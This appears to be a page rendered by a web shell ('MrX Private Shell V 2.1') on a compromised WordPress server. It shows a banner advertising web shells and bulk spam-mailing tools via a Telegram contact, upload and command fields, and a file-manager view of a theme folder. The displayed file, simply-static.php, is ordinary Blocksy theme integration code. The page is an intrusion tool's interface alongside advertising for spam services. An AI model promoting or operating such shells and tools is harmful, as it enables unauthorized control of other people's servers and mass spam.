__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

add_action(
	'ss_after_extract_and_replace_urls_in_html',
	function ($html_content, $url_extractor) {
		if ($html_content instanceof \DOMDocument) {
			$html_content = $html_content->saveHTML();
		}

		$pattern = '/<script[^>]*id=[\'"]ct-scripts-js-extra[\'"][^>]*>(.*?)<\/script>/is';

		$blocksy_scripts = [];

		if (preg_match_all($pattern, $html_content, $matches)) {
			foreach ($matches[0] as $match) {
				$script_content = preg_replace('/<script[^>]*id=[\'"]ct-scripts-js-extra[\'"][^>]*>/', '', $match);
				$script_content = preg_replace('/<\/script>/', '', $script_content);

				$blocksy_scripts[] = $script_content;
			}
		}

		foreach ($blocksy_scripts as $single_script) {
			$content = $single_script;

			$all_components = explode('};', $content);

			$ct_localizations = str_replace(
				'var ct_localizations = ', '',
				array_shift($all_components)
			) . '}';

			$decoded = json_decode($ct_localizations, true);

			$decoded['ajax_url'] = $url_extractor->add_to_extracted_urls(
				$decoded['ajax_url']
			);

			$decoded['public_url'] = str_replace(
				'index.html',
				'',
				$url_extractor->add_to_extracted_urls($decoded['public_url'])
			);

			$decoded['rest_url'] = $url_extractor->add_to_extracted_urls(
				$decoded['rest_url']
			);

			$decoded['dynamic_styles']['lazy_load'] = $url_extractor->add_to_extracted_urls(
				$decoded['dynamic_styles']['lazy_load']
			);

			$decoded['dynamic_styles']['search_lazy'] = $url_extractor->add_to_extracted_urls(
				$decoded['dynamic_styles']['search_lazy']
			);

			foreach ($decoded['dynamic_js_chunks'] as $index => $single_chunk) {
				$decoded['dynamic_js_chunks'][$index]['url'] = $url_extractor
					->add_to_extracted_urls(
						$decoded['dynamic_js_chunks'][$index]['url']
					);
			}

			foreach ($decoded['dynamic_styles_selectors'] as $index => $single_chunk) {
				$decoded['dynamic_styles_selectors'][$index]['url'] = $url_extractor
					->add_to_extracted_urls(
						$decoded['dynamic_styles_selectors'][$index]['url']
					);
			}

			$decoded['dynamic_styles_selectors'][0]['url'] = $url_extractor
				->add_to_extracted_urls(
					$decoded['dynamic_styles_selectors'][0]['url']
				);

			$result = 'var ct_localizations = ' . json_encode($decoded, JSON_UNESCAPED_UNICODE) . ';' .  implode(
				'};',
				$all_components
			);

			$single_script = $result;
		}
	},
	10, 2
);

// old version
// add_action(
// 	'ss_after_setup_task',
// 	function () {
// 		\Simply_Static\Setup_Task::add_additional_files_to_db(
// 			get_template_directory() . '/static/bundle'
// 		);

// 		if (defined('BLOCKSY_PATH')) {
// 			\Simply_Static\Setup_Task::add_additional_files_to_db(
// 				BLOCKSY_PATH . '/static/bundle'
// 			);

// 			\Simply_Static\Setup_Task::add_additional_files_to_db(
// 				BLOCKSY_PATH . '/framework/premium/static/bundle'
// 			);
// 		}
// 	}
// );

// new version
add_filter(
	'ss_additional_files',
	function ($additional_files) {
		$additional_files[] = get_template_directory() . '/static/bundle';

		if (defined('BLOCKSY_PATH')) {
			$additional_files[] = BLOCKSY_PATH . '/static/bundle';
			$additional_files[] = BLOCKSY_PATH . '/framework/premium/static/bundle';
		}

		return $additional_files;
	}
);



Filemanager

Name Type Size Permission Actions
avatars.php File 368 B 0640
bbpress.php File 252 B 0640
beaver-themer.php File 1.21 KB 0640
cartflows.php File 149 B 0640
cdn.php File 494 B 0640
coauthors.php File 1.64 KB 0640
custom-post-types.php File 5.11 KB 0640
dfi.php File 221 B 0640
disqus.php File 497 B 0640
elementor.php File 5.22 KB 0640
fluent-forms.php File 94 B 0640
generateblocks.php File 200 B 0640
greenshift.php File 227 B 0640
qubely.php File 237 B 0640
secupress.php File 455 B 0640
simply-static.php File 3.16 KB 0640
stackable.php File 139 B 0640
theme-builders.php File 2.73 KB 0640
tribe-events.php File 884 B 0640
tutorlms.php File 4.21 KB 0640
wpc-variations-table.php File 317 B 0640
wprocket.php File 609 B 0640
yith.php File 102 B 0640
zion.php File 846 B 0640
Filemanager